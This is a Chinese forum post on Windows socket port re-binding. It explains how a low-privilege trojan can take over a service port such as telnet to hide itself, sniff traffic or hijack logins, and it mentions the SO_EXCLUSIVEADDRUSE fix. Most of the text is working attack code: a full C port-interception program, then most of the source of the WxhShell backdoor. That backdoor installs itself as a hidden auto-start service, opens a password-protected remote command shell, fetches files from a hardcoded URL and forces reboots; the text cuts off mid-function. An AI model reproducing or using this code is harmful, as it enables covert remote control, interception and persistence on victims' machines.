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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t~BWN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3+q-yP#X  
D&pX0  
  saddr.sin_family = AF_INET; r;E5e]w*-  
V#R; -C  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZI8@ 6L\  
E`{DX9^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Mm1>g~o  
MXjN ./  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p["pGsf  
fI'+4 )@x  
  这意味着什么?意味着可以进行如下的攻击: xMa9o  
~yV?*"Hi  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1=ZQRJW0B  
1^ go)(Mx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }lCQ+s!  
bH:C/P<x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hlz/TIP^N3  
4/v[ .5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~QUN O~  
L$@+'Qn@:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )@!T_#  
J3B+WD]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z&=Oe^  
}mI0D >n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >6IUle>z  
51* [Ibx  
  #include t2|0no  
  #include /gex0 w  
  #include O7 yj<  
  #include    r=p^~tuyxr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AJ3Byb=.  
  int main() cIK4sOTJ&  
  { _1WA:7$C  
  WORD wVersionRequested; %b~ND?nn-  
  DWORD ret; /zr)9LQY0  
  WSADATA wsaData; _a_T`fE&de  
  BOOL val; ;ZMIYFXRqh  
  SOCKADDR_IN saddr; P{Q$(rOe  
  SOCKADDR_IN scaddr; JNP6qM  
  int err; ^t$uDQ[hA  
  SOCKET s; ps:E(\  
  SOCKET sc; n36iY'<)G  
  int caddsize; "$ISun=8  
  HANDLE mt; -Rr !J37  
  DWORD tid;   }]<|`FNc  
  wVersionRequested = MAKEWORD( 2, 2 ); @x;(yqOb  
  err = WSAStartup( wVersionRequested, &wsaData ); S@y?E}  
  if ( err != 0 ) { {A5$8)nl|  
  printf("error!WSAStartup failed!\n"); 1N5lI97j  
  return -1; uD[T l  
  } 09{s'  
  saddr.sin_family = AF_INET; ,DEcCHr,  
   563ExibH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 N^k& 8  
QjYw^[o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v yt|x5  
  saddr.sin_port = htons(23); L|;sB=$'{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZF8`= D`:R  
  { !DHfw-1K  
  printf("error!socket failed!\n"); P^U.VXY}  
  return -1; H^vA}F`  
  } +rhBC V  
  val = TRUE; K}GR U)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Prc1U)nfo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /x_AWnU  
  { $@L2zl1  
  printf("error!setsockopt failed!\n"); 1=`VaS  
  return -1; :h!'\9   
  } NW*#./WdF8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =)*Z rD  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Y^;izM}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nwqA\  
4]-7S l,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yJ6g{#X4K<  
  { q|r*4={^!*  
  ret=GetLastError(); ;vbM C74J#  
  printf("error!bind failed!\n"); "" _B3'  
  return -1; 6Ypc]ym=J  
  } xr7M#n  
  listen(s,2); a`?Vc}&  
  while(1) z+CX$.Z  
  { <:mK&qu f  
  caddsize = sizeof(scaddr); wm9wnAy  
  //接受连接请求 ;:>q;%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); j *;.>akY7  
  if(sc!=INVALID_SOCKET) \~t!M~H  
  { N[v=;&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); nHp(,'R/  
  if(mt==NULL) ,mC=MpfzJ  
  { 4I|pkdF_  
  printf("Thread Creat Failed!\n"); V'UFc>{o  
  break; PtzT><  
  } 6s ~!B{Q  
  } WT3g31  
  CloseHandle(mt); :VLYF$|  
  } Q/*|ADoq  
  closesocket(s); R|` `A5zQ  
  WSACleanup(); <s$T7Zk  
  return 0; 0;`+e22  
  }   [F(iV[n%  
  DWORD WINAPI ClientThread(LPVOID lpParam) :2')`xT  
  { $M+'jjnP  
  SOCKET ss = (SOCKET)lpParam; d\tY-X3  
  SOCKET sc; FV,aQ#  
  unsigned char buf[4096]; k `5K&  
  SOCKADDR_IN saddr; )|AxQPd  
  long num; -})zRL0!'  
  DWORD val; Z+[W@5q  
  DWORD ret; ]^i^L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]9JH.fF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S_RP& +!7  
  saddr.sin_family = AF_INET; 'fk6]&-I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?5,I`9  
  saddr.sin_port = htons(23); M=SrZ,W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~`B]G  
  { W/CZ/Mc  
  printf("error!socket failed!\n"); ta PqRsvu  
  return -1; In+2~Jw/2!  
  } #^$_3A Y  
  val = 100; #v9+9X`1L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rR#wbDr5  
  { s B^ejH  
  ret = GetLastError(); ?FV%e  
  return -1; bw+IH-b  
  } "pH;0[r]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ' ~fP#y  
  { v\?l+-A? y  
  ret = GetLastError();  3SPXJa\i  
  return -1; 6K=}n] n  
  } D]|{xKC}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -z se+]O`  
  { UFUEY/q  
  printf("error!socket connect failed!\n"); a0Fq$  
  closesocket(sc); -%{+\x2  
  closesocket(ss); peOoZdJd  
  return -1; 5P 5Tgk  
  } )e6sg]#  
  while(1) *~b~y7C  
  { j#Lj<jX!xR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 FP*kA_z$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FT-=^VA\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9RkNRB)8  
  num = recv(ss,buf,4096,0); t)~$p#NS  
  if(num>0) V{x[^+w7X~  
  send(sc,buf,num,0); 3a=\$x@  
  else if(num==0) LX=v _}l J  
  break; o=xMaA  
  num = recv(sc,buf,4096,0); 0<fQjXn  
  if(num>0) BlcsDB =ka  
  send(ss,buf,num,0); ziM@@$ .F  
  else if(num==0) kmtkh "  
  break; `9P`f4x  
  } b@K1;A! S  
  closesocket(ss); $&Z#2 X.  
  closesocket(sc); NVB#=!S  
  return 0 ; h]&~yuI>  
  } t -fmA?\  
Sl% 6F!  
AI9922}*  
========================================================== kXlI *h  
\|M[W~8  
下边附上一个代码,,WXhSHELL ,Ik~E&Ku2'  
`@vksjxu  
========================================================== _u6MSRX[6$  
iU3PlF[B/o  
#include "stdafx.h" T, PN6d  
e#F3KLSL`  
#include <stdio.h> %[azMlp<  
#include <string.h> *!3qO^b?  
#include <windows.h> c>+68<H  
#include <winsock2.h> ,pQ[e$u1  
#include <winsvc.h> 7m?fv Ky  
#include <urlmon.h> NGO?K?  
nHp$5|r<  
#pragma comment (lib, "Ws2_32.lib") XJ"xMv  
#pragma comment (lib, "urlmon.lib") %P(2uesd  
zvdIwV&oT  
#define MAX_USER   100 // 最大客户端连接数 S1C#5=  
#define BUF_SOCK   200 // sock buffer Q]VG6x  
#define KEY_BUFF   255 // 输入 buffer i<=2 L?[.I  
j7NOYm5N  
#define REBOOT     0   // 重启 Z J1@z.  
#define SHUTDOWN   1   // 关机 av:%wJUl,$  
ld 1[Usaq  
#define DEF_PORT   5000 // 监听端口 [kqO6U  
<i`s)L  
#define REG_LEN     16   // 注册表键长度 #MiO4zXgd  
#define SVC_LEN     80   // NT服务名长度 8+32hg@^F  
}ov>b2H#<  
// 从dll定义API y6MkaHW[m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B+pLW/4l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'UZ i>Ta  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $*Wa A`(U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B[+b%a3  
u^WZsW  
// wxhshell配置信息 _x,(576~  
struct WSCFG { ?Jgqb3+!o  
  int ws_port;         // 监听端口 C 20VSwd  
  char ws_passstr[REG_LEN]; // 口令 8E9k7  
  int ws_autoins;       // 安装标记, 1=yes 0=no -@B6$XWL  
  char ws_regname[REG_LEN]; // 注册表键名 JRAU|gr  
  char ws_svcname[REG_LEN]; // 服务名 1Oak8 \G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ub4)x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >enP~uW[#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K2V?[O#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bBGg4{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lEb H4 g  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $~?)E;S  
^v:XON<  
}; mmCGIX  
lTtc#  
// default Wxhshell configuration mGoC8t}iP  
struct WSCFG wscfg={DEF_PORT, mD*!<<Sw  
    "xuhuanlingzhe", P4c}@Mq3  
    1, \{ C ~B;=  
    "Wxhshell", q^<;B Y  
    "Wxhshell", :R$v7{1  
            "WxhShell Service", XIl#0-E0X  
    "Wrsky Windows CmdShell Service", s:z  
    "Please Input Your Password: ", C]ax}P>BQ  
  1, M*~XpT3  
  "http://www.wrsky.com/wxhshell.exe", #]^M/y h  
  "Wxhshell.exe" s5MG#M 9  
    }; u9]M3>  
%+UTs'I  
// 消息定义模块 ft iAty0n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]I;owk,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V|{~9^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gI@nE:(m  
char *msg_ws_ext="\n\rExit."; &b2@+/ F  
char *msg_ws_end="\n\rQuit."; .v9i|E=<~  
char *msg_ws_boot="\n\rReboot..."; TY` R_  
char *msg_ws_poff="\n\rShutdown..."; ?,[$8V  
char *msg_ws_down="\n\rSave to "; .cmhi3o4  
2(Yt`3Go(  
char *msg_ws_err="\n\rErr!"; '[HU!8F  
char *msg_ws_ok="\n\rOK!"; n:H |=SF{  
(dV7N  
char ExeFile[MAX_PATH]; *)HVK&'  
int nUser = 0; F`+S(APT8  
HANDLE handles[MAX_USER]; oDG BC  
int OsIsNt;  Lu[Hz8  
v^[!NygShs  
SERVICE_STATUS       serviceStatus; WW7E*kc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oB '5':  
"39mhX2  
// 函数声明 ~uB@oKMru  
int Install(void); 4e?cW&  
int Uninstall(void); :&E~~EUW  
int DownloadFile(char *sURL, SOCKET wsh); A$;*O)  
int Boot(int flag); VjZb\ d4  
void HideProc(void); &rc r>-  
int GetOsVer(void); uF)^mT0D=  
int Wxhshell(SOCKET wsl); eq9qE^[Z&  
void TalkWithClient(void *cs); :cP u  
int CmdShell(SOCKET sock); UM0#S}  
int StartFromService(void); Kf$6D 79#  
int StartWxhshell(LPSTR lpCmdLine); M[_Ptqjb  
|47 2X&e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2t=&h|6EW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2{g&9  
LVL#qNIu  
// 数据结构和表定义 piIGSC  
SERVICE_TABLE_ENTRY DispatchTable[] = (?.h<v1}  
{ zXwdU5 8  
{wscfg.ws_svcname, NTServiceMain}, ,.L o)[(  
{NULL, NULL} ax 2#XSCO  
}; ?~]mOv>  
 FE1En  
// 自我安装 8|\xU9VT  
int Install(void) Y$qjQ1jF+  
{ i/C0 (!  
  char svExeFile[MAX_PATH]; -}8r1jQH;  
  HKEY key; E!,jTaZz  
  strcpy(svExeFile,ExeFile); x"Ij+~i{l  
V@1,((,l  
// 如果是win9x系统,修改注册表设为自启动 9G6auk.m.O  
if(!OsIsNt) { =Prz|   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C"k]U[%{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .wtYost v  
  RegCloseKey(key); zT hut!O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e)F_zX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KT<N ;[;  
  RegCloseKey(key); ItAC=/(d  
  return 0; w7<4D,hk  
    } GzT?I 7|M  
  } 160BgFM  
} o+S?j*mv@  
else { :/}=s5aQl/  
=knBwjeD  
// 如果是NT以上系统,安装为系统服务 ;N _ %O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +]Z *_?j9{  
if (schSCManager!=0) t Q>/1  
{ B{V(g"dM  
  SC_HANDLE schService = CreateService Nk9w ; z&  
  ( aZ ta%3`)  
  schSCManager, a6/ETQ  
  wscfg.ws_svcname, l@@ qpaH  
  wscfg.ws_svcdisp, )LBbA  
  SERVICE_ALL_ACCESS, .e5rKkkT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q+XU Cnv  
  SERVICE_AUTO_START, MLmv+  
  SERVICE_ERROR_NORMAL, i \.&8  
  svExeFile, ^4{{ +G)j  
  NULL, :1#$p  
  NULL, + ^4HCyW  
  NULL, W9A F}  
  NULL, >R\!Qk  
  NULL 6%&w\<(SG  
  ); Z>W&vDeuN  
  if (schService!=0) z7Z!wIzJ  
  { pWb8X}M  
  CloseServiceHandle(schService); }7qboUGe  
  CloseServiceHandle(schSCManager); \F7NuG:m,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xp"F)6  
  strcat(svExeFile,wscfg.ws_svcname); H.[(`wi!I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pJQ_G`E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); df$pT?o  
  RegCloseKey(key); \T;(k?28HN  
  return 0; 01+TVWKX  
    } C3C&hq\%  
  } `O?j -zR  
  CloseServiceHandle(schSCManager); * a VT  
} c>#3{}X|x%  
} #5^S@}e  
>V&GL{  
return 1; >5Sm.7}R  
} Q1DiEg  
u4[rA2Bf8E  
// 自我卸载 m!Aw,*m+*  
int Uninstall(void) 1(Lq9hs`  
{ /8lmNA  
  HKEY key; + a'nP=e&  
$,1KD3;+]  
if(!OsIsNt) { @8SA^u0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1]7v3m  
  RegDeleteValue(key,wscfg.ws_regname); p4Xhs@.k  
  RegCloseKey(key); ;O({|mpS\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Z3]Dk;y  
  RegDeleteValue(key,wscfg.ws_regname); =>xyJ->R  
  RegCloseKey(key); d s}E|Q  
  return 0; e.;B?0QrV  
  } l_T5KV  
} ban;HGGNG{  
} R!:F}*  
else { v&"sTcS|  
tSunO-\y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V:1_k"zQ  
if (schSCManager!=0) u9ue>I /  
{ PkF'#W%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OUm,;WNLf  
  if (schService!=0) F'njtrO3  
  { sfCU"O2G  
  if(DeleteService(schService)!=0) { H$)otDOE  
  CloseServiceHandle(schService); #2qv"ntW  
  CloseServiceHandle(schSCManager); 8fQXif\z  
  return 0; F^7qr  
  } s&6/fa  
  CloseServiceHandle(schService); G}'\  
  } nD{{/_"'  
  CloseServiceHandle(schSCManager); 3O?[Yhk`.  
} 51!#m|  
} <+ckE 2j  
5Ja[p~^L  
return 1; G2FD'Sf  
} WL<f!   
PE2O$:b\  
// 从指定url下载文件 U~<~>^[  
int DownloadFile(char *sURL, SOCKET wsh) ^W[3Ri G  
{ Fr,b5 M<L7  
  HRESULT hr; Ng\]  
char seps[]= "/"; S6c>D&Q  
char *token; Xxs0N_va&  
char *file; b|g=&T:pp  
char myURL[MAX_PATH]; r} a,  
char myFILE[MAX_PATH]; +J:wAmY4  
z;EDyd,O>  
strcpy(myURL,sURL); TiSV`V q  
  token=strtok(myURL,seps); PKt;]T0  
  while(token!=NULL) uSNlI78D  
  { `FIS2sl/  
    file=token; <f@ A\  
  token=strtok(NULL,seps); -K iI&Q  
  } O[HBw~  
7u[$  
GetCurrentDirectory(MAX_PATH,myFILE); lBO x B/`  
strcat(myFILE, "\\"); }j|YX&`p  
strcat(myFILE, file); NE-c[|rq  
  send(wsh,myFILE,strlen(myFILE),0); 42,K8  
send(wsh,"...",3,0); cu"ge]},  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wvwjj~HP2}  
  if(hr==S_OK) jxDA+7  
return 0; vOBXAF  
else ^ V8?6E  
return 1; 6 G?7>M  
VKHzGfv  
} =~{W;VZt'  
L7$1rO<  
// 系统电源模块 2<^eVpNJR  
int Boot(int flag) cK1RmL"3  
{ cAzlkh  
  HANDLE hToken; MF4B 2d  
  TOKEN_PRIVILEGES tkp; m7,;Hr(  
C'fQ Z,r-v  
  if(OsIsNt) { DV jsz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J8PZVeWx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }wV/)Oy[  
    tkp.PrivilegeCount = 1; wy# 5p]!u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g42Z*+P6N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RRR=R]  
if(flag==REBOOT) { )zvjsx*e=J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O}q(2[*i  
  return 0; oJVpJA0IA  
} t3;QF  
else { Hp-vBoEk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hrTl:\  
  return 0; @z7$1pl}  
} d8/KTl  
  } (KdP^.7  
  else { Z}$1~uyw  
if(flag==REBOOT) { ^h"F\vIpV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2)jf~!o)Z  
  return 0; MHAWnH8  
} #i[V {J8.p  
else { MD=!a5'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cW\Y1=Gv|  
  return 0; &%`0&y  
} m7m)BX%O  
} SI/p8 ^  
T+)#Du  
return 1; 9l:vVp7Uk  
} TDHS/"MbA7  
$D(q  
// win9x进程隐藏模块 4F?O5&329i  
void HideProc(void) >7nOR  
{ >Ms_bfSK  
@7OE:& #V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kDK0L3}nr]  
  if ( hKernel != NULL ) $C9['GGR  
  { D 13bQ&\B-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5:X^Q.f;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vU,;asgy  
    FreeLibrary(hKernel); &3bhK5P  
  } }n$I #G}\/  
84M*)cKR~  
return; WOuk> /  
} F48W8'un  
9Gk#2  
// 获取操作系统版本 -v62 s  
int GetOsVer(void) '7>Yr zq  
{ 55vI^SSA  
  OSVERSIONINFO winfo; hC...tk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,(&5y:o  
  GetVersionEx(&winfo); 4W36VtQ@E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I"r[4>>B>0  
  return 1; 0;x<0P  
  else 5Z(#)sa0Og  
  return 0; L QA6iZBP  
} AWz|HF#-  
yVbyw(gS  
// 客户端句柄模块 JD{AwE@Ro  
int Wxhshell(SOCKET wsl) P/doNv}iG  
{ zc%HBZ3p  
  SOCKET wsh; F`JW&r\  
  struct sockaddr_in client; qJT|om L Y  
  DWORD myID; G;v3kGn  
#EX NSr  
  while(nUser<MAX_USER) yU< "tgE  
{ RS /*Dp^  
  int nSize=sizeof(client); '=]|"   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @RFJe$%  
  if(wsh==INVALID_SOCKET) return 1; u13v@<HGc  
_$BH.I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E j/P:nB  
if(handles[nUser]==0) *K2fp=Ns  
  closesocket(wsh); 8Xk,Nbcqt  
else qBXIR }  
  nUser++; yc3i> w`  
  } W)fh}|.5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hR%2[lBn!]  
3[}w#n1  
  return 0; V.Qy4u7m  
} Xo~kB)|,  
,ku3;58O<  
// 关闭 socket A!fRpN  
void CloseIt(SOCKET wsh) TrmrA$5f  
{ 0%>_fMaA  
closesocket(wsh); f l*O)r  
nUser--; -JfO} DRI  
ExitThread(0); A6%~+9  
} 73>Hzpv0  
1n )&%r  
// 客户端请求句柄 !DNk!]|  
void TalkWithClient(void *cs) LXx`Vk>ky  
{ -x2&IJ!  
]8ob`F`m,  
  SOCKET wsh=(SOCKET)cs; vC ISd   
  char pwd[SVC_LEN]; *d$r`.9j  
  char cmd[KEY_BUFF]; `Uy'YfYF  
char chr[1]; OIdoe0JR:O  
int i,j; H|/U0;s  
+U*:WKdI?  
  while (nUser < MAX_USER) { fD ?w!7f-1  
Jw)-6WJ!uO  
if(wscfg.ws_passstr) { rwvCp_pN.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >'|Wrz67Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nkg^;-CV0  
  //ZeroMemory(pwd,KEY_BUFF); z2cd1HxN  
      i=0; ?emYLw  
  while(i<SVC_LEN) { Y5$VWUrB  
 H= (Zx  
  // 设置超时 c$52b4=a  
  fd_set FdRead; cy!;;bB  
  struct timeval TimeOut; FG6mh,C!  
  FD_ZERO(&FdRead); xr).ZswQ  
  FD_SET(wsh,&FdRead); `} :~,E  
  TimeOut.tv_sec=8; |;MW98 A  
  TimeOut.tv_usec=0; u<K{=94!e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h\PybSW4s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rv;is=#1  
8u4FagQ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lko k2  
  pwd=chr[0]; ( t59SY  
  if(chr[0]==0xd || chr[0]==0xa) { mVdg0  
  pwd=0; p|o?nI  
  break; L#9g ~>~  
  } Vf] ;hm  
  i++; `CF.-Vl3J#  
    } ;;lOu~-*$p  
%hH@< <b(s  
  // 如果是非法用户,关闭 socket $V2.@ X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h;S?  
} Kuy0Ci  
BhCOT+i;c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y[Kpd[)[v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8$C?j\J|*  
mv\S1[<T  
while(1) { 9  7Mi{Zz  
-VO* P  
  ZeroMemory(cmd,KEY_BUFF); 9 `z^'k&  
& 24$*Oe  
      // 自动支持客户端 telnet标准    D/]  
  j=0; ;Br #e1~  
  while(j<KEY_BUFF) { .l}oxWWoS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "E}38  
  cmd[j]=chr[0]; l"app]uVZ  
  if(chr[0]==0xa || chr[0]==0xd) { C}8 3t~Q  
  cmd[j]=0; k~HS_b*]d  
  break; hz*H,E!>  
  }  - j_  
  j++; 7o4B1YD  
    } vfPIC!  
w~l%xiC  
  // 下载文件 ?QG?F9?  
  if(strstr(cmd,"http://")) { Zia<$kAO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,R2;oF_  
  if(DownloadFile(cmd,wsh)) Lc5I?}:;L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ %:%C]4  
  else pCt0[R;?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Iwd-#;$;  
  } ~fR-cXj"  
  else { UhVJ !NrT  
D|Raj\R  
    switch(cmd[0]) { QDpzIjJj  
  aYd`E4S+  
  // 帮助 YCnKX<Wv  
  case '?': { bo04y)Iz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XYdr~/[HPy  
    break; uPQrDr5  
  } h&j9'  
  // 安装 )R@M~d-o  
  case 'i': { a0=>@?  
    if(Install()) [[gfR'79{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x3]y*6  
    else  O)?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M&~cU{9c  
    break; !(>yB;u  
    } .Mu]uQUF  
  // 卸载 )W.Y{\D0  
  case 'r': { 32Jl|@8,g  
    if(Uninstall()) S1G3xY$0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mj _ V6`m4  
    else 6V^KOG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oES4X{,  
    break; mH)th7  
    } z;+LU6V  
  // 显示 wxhshell 所在路径 cNvh2JI  
  case 'p': { "?SR+;Y:q  
    char svExeFile[MAX_PATH]; UV j1nom   
    strcpy(svExeFile,"\n\r"); -P[bA0N,  
      strcat(svExeFile,ExeFile); "pW@[2Dkx/  
        send(wsh,svExeFile,strlen(svExeFile),0); $1b x\  
    break; ->Bx>Y  
    } !p$k<?WXc  
  // 重启 F|&=\Q  
  case 'b': { (X(c.Jj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }Asp=<kCc  
    if(Boot(REBOOT)) 5B,HJax  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [>wvVv  
    else { :Yy8Ie#  
    closesocket(wsh); Aa`'g0wmc  
    ExitThread(0); JTI 'W  
    } Dh~Z 8!*  
    break; tj;<EaM  
    } 8@J5tFJ&%  
  // 关机 5_~QS  
  case 'd': { rtY4 B~_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]/y69ou  
    if(Boot(SHUTDOWN)) :MbD=sX  
